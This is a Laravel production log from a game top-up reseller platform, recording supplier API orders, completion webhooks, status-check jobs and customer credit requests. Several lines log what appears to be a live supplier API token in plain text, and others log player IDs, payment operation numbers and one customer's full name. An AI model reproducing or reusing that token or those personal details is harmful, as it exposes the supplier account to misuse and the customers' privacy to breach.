[2026-03-24 14:19:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=817bdabe-2f48-40cc-bcfc-919faec5b36a&Player_ID=5703843146  
[2026-03-24 14:19:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=817bdabe-2f48-40cc-bcfc-919faec5b36a&Player_ID=5703843146","has_body":false} 
[2026-03-24 14:19:56] production.INFO: Operation sent successfully {"operation_id":163653,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bDErEJDf-1774351196","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:19:56"}},"processed_data":{"order_number":"ORD-bDErEJDf-1774351196","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:20:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qbRck-1774351192","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:20:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-qbRck-1774351192","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:20:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:20:02] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":178731} 
[2026-03-24 14:20:02] production.INFO: Order updated successfully. Order ID: 178731, Status: completed  
[2026-03-24 14:20:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qbRck-1774351192","status":"completed","codes_count":0} 
[2026-03-24 14:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02"} 
[2026-03-24 14:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","total_operations":3,"sites_count":1} 
[2026-03-24 14:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-CS63wf4-1774351182","ORD-bDErEJDf-1774351196"]} 
[2026-03-24 14:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 14:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bDErEJDf-1774351196","operation_id":163653} 
[2026-03-24 14:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CS63wf4-1774351182","operation_id":163651} 
[2026-03-24 14:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CS63wf4-1774351182","operation_id":163651,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 14:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CS63wf4-1774351182","operation_id":163651,"processed":0,"errors":0} 
[2026-03-24 14:20:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uKLSFfxAX0FTxb5hvkcidAq11Pvn5ZAy","execution_time":"2026-03-24 14:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CS63wf4-1774351182","operation_id":163651} 
[2026-03-24 14:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:20:04] production.INFO: async() رجع: true  
[2026-03-24 14:20:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:20:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:20:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 14:20:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CS63wf4-1774351182","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:20:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-CS63wf4-1774351182","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:20:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:20:10] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178730} 
[2026-03-24 14:20:10] production.INFO: Order updated successfully. Order ID: 178730, Status: completed  
[2026-03-24 14:20:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CS63wf4-1774351182","status":"completed","codes_count":0} 
[2026-03-24 14:20:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bDErEJDf-1774351196","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:20:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-bDErEJDf-1774351196","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:20:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:20:11] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":178732} 
[2026-03-24 14:20:11] production.INFO: Order updated successfully. Order ID: 178732, Status: completed  
[2026-03-24 14:20:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bDErEJDf-1774351196","status":"completed","codes_count":0} 
[2026-03-24 14:20:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 14:20:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 14:20:31] production.INFO: Constructing job for order: 178733  
[2026-03-24 14:20:33] production.INFO: Handling job for order: 178733  
[2026-03-24 14:20:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:20:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:20:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=17000&uuid=33bda9cf-1a2b-4266-b97b-91edb7e4c6ee&Player_ID=17333066  
[2026-03-24 14:20:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=17000&uuid=33bda9cf-1a2b-4266-b97b-91edb7e4c6ee&Player_ID=17333066","has_body":false} 
[2026-03-24 14:20:34] production.INFO: Operation sent successfully {"operation_id":163654,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-JPUFZC-1774351233","amount":1.6633853999999999029313357823411934077739715576171875,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 14:20:34"}},"processed_data":{"order_number":"ORD-JPUFZC-1774351233","amount":1.6633853999999999029313357823411934077739715576171875,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 14:20:56] production.INFO: Constructing job for order: 178734  
[2026-03-24 14:20:58] production.INFO: Handling job for order: 178734  
[2026-03-24 14:20:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:20:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:20:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d8f023ad-9b7c-447b-87e3-660d6af13f28&Player_ID=52415836933  
[2026-03-24 14:20:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d8f023ad-9b7c-447b-87e3-660d6af13f28&Player_ID=52415836933","has_body":false} 
[2026-03-24 14:20:59] production.INFO: Operation sent successfully {"operation_id":163655,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-inm-1774351258","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:20:59"}},"processed_data":{"order_number":"ORD-inm-1774351258","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:21:04] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"158254039","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpv43bg3dc3qsobEVWXPH"}},"user_id":1703} 
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:21:05] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:21:05] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18623,"user_id":1703,"amount":1200.0,"admins_notified":7} 
[2026-03-24 14:21:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-inm-1774351258","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:21:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-inm-1774351258","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:21:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:21:07] production.INFO: SendAcceptReject: Notification queued {"user_id":148,"notification_type":"order_approved","reference_id":178734} 
[2026-03-24 14:21:07] production.INFO: Order updated successfully. Order ID: 178734, Status: completed  
[2026-03-24 14:21:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-inm-1774351258","status":"completed","codes_count":0} 
[2026-03-24 14:21:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 148  
[2026-03-24 14:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02"} 
[2026-03-24 14:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","total_operations":2,"sites_count":1} 
[2026-03-24 14:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-JPUFZC-1774351233"]} 
[2026-03-24 14:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 14:22:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:22:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"count":1} 
[2026-03-24 14:22:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"count":1} 
[2026-03-24 14:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"user_id":627,"notification_type":"order_approved","reference_id":178733} 
[2026-03-24 14:22:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:22:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:22:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"processed":1,"errors":0} 
[2026-03-24 14:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654,"processed":1,"errors":0} 
[2026-03-24 14:22:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GmTpLl1lr2VkOURWyr2SyGSoW92542tL","execution_time":"2026-03-24 14:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-JPUFZC-1774351233","operation_id":163654} 
[2026-03-24 14:22:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 627  
[2026-03-24 14:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02"} 
[2026-03-24 14:24:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","total_operations":1,"sites_count":1} 
[2026-03-24 14:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 14:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 14:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pRWWGnFNVF69TJhR25B7YBtYdlP0gxpl","execution_time":"2026-03-24 14:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:24:07] production.INFO: Constructing job for order: 178735  
[2026-03-24 14:24:08] production.INFO: Handling job for order: 178735  
[2026-03-24 14:24:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:24:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:24:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3fc7f7df-570c-484a-81d6-e6e6027aa5cb&Player_ID=11433860617  
[2026-03-24 14:24:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3fc7f7df-570c-484a-81d6-e6e6027aa5cb&Player_ID=11433860617","has_body":false} 
[2026-03-24 14:24:09] production.INFO: Operation sent successfully {"operation_id":163656,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-m8GK-1774351449","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:24:09"}},"processed_data":{"order_number":"ORD-m8GK-1774351449","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:24:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-m8GK-1774351449","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:24:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-m8GK-1774351449","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:24:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:24:28] production.INFO: SendAcceptReject: Notification queued {"user_id":720,"notification_type":"order_approved","reference_id":178735} 
[2026-03-24 14:24:28] production.INFO: Order updated successfully. Order ID: 178735, Status: completed  
[2026-03-24 14:24:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-m8GK-1774351449","status":"completed","codes_count":0} 
[2026-03-24 14:24:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 720  
[2026-03-24 14:24:33] production.INFO: Constructing job for order: 178736  
[2026-03-24 14:24:35] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1500.0","mainamount":"1500","operation_number":"158254255","note":"ابراهيم احمد سليمان","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php7dod8smuo5ps7TaOUsz"}},"user_id":834} 
[2026-03-24 14:24:35] production.INFO: Constructing job for order: 178737  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:24:36] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:24:36] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18624,"user_id":834,"amount":1500.0,"admins_notified":7} 
[2026-03-24 14:24:36] production.INFO: Handling job for order: 178736  
[2026-03-24 14:24:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:24:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:24:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=867860df-84c8-4a05-930f-7282dcbba48a&Player_ID=5229011944  
[2026-03-24 14:24:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=867860df-84c8-4a05-930f-7282dcbba48a&Player_ID=5229011944","has_body":false} 
[2026-03-24 14:24:37] production.INFO: Operation sent successfully {"operation_id":163657,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LUNZ-1774351477","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:24:37"}},"processed_data":{"order_number":"ORD-LUNZ-1774351477","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 14:24:37] production.INFO: Handling job for order: 178737  
[2026-03-24 14:24:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:24:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:24:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1c9e679e-a29b-4181-8024-d3dc373c9a66&Player_ID=5229011944  
[2026-03-24 14:24:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1c9e679e-a29b-4181-8024-d3dc373c9a66&Player_ID=5229011944","has_body":false} 
[2026-03-24 14:24:38] production.INFO: Operation sent successfully {"operation_id":163658,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-V4m-1774351478","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:24:38"}},"processed_data":{"order_number":"ORD-V4m-1774351478","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:24:47] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"11200.0","mainamount":"11200","operation_number":"158257505","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpmt0fc27qv7k36CYS0w9"}},"user_id":1767} 
[2026-03-24 14:24:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-V4m-1774351478","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:24:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-V4m-1774351478","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:24:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:24:49] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":178737} 
[2026-03-24 14:24:49] production.INFO: Order updated successfully. Order ID: 178737, Status: completed  
[2026-03-24 14:24:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-V4m-1774351478","status":"completed","codes_count":0} 
[2026-03-24 14:24:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-LUNZ-1774351477","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:24:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-LUNZ-1774351477","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:24:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:24:49] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":178736} 
[2026-03-24 14:24:49] production.INFO: Order updated successfully. Order ID: 178736, Status: completed  
[2026-03-24 14:24:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-LUNZ-1774351477","status":"completed","codes_count":0} 
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:24:50] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18625,"user_id":1767,"amount":11200.0,"admins_notified":7} 
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 14:24:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 14:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 14:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:25:02] production.INFO: Executing GetProducts task...  
